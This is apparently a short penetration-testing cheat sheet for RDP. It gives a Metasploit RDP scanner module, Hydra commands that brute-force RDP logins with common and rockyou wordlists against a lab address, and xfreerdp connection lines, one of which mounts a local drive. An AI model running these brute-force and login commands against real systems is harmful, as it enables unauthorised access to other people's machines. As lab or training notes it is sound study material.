RDP Enumeration

Reconnaissance Service Enumeration linux

Metasploit

use auxiliary/scanner/rdp/rdp_scanner

Hydra bruteforce

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt rdp://10.10.2.252 -s 3333
hydra -l mark -P /usr/share/wordlists/rockyou.txt rdp -V -e nsr -f -t 50 -K

Connection

xfreerdp /u:administrator /p:haslo /v:10.10.2.252:3333

With shared drive

xfreerdp /v:$target /u:dog /p:dog /cert:ignore +clipboard /dynamic-resolution /drive:.,share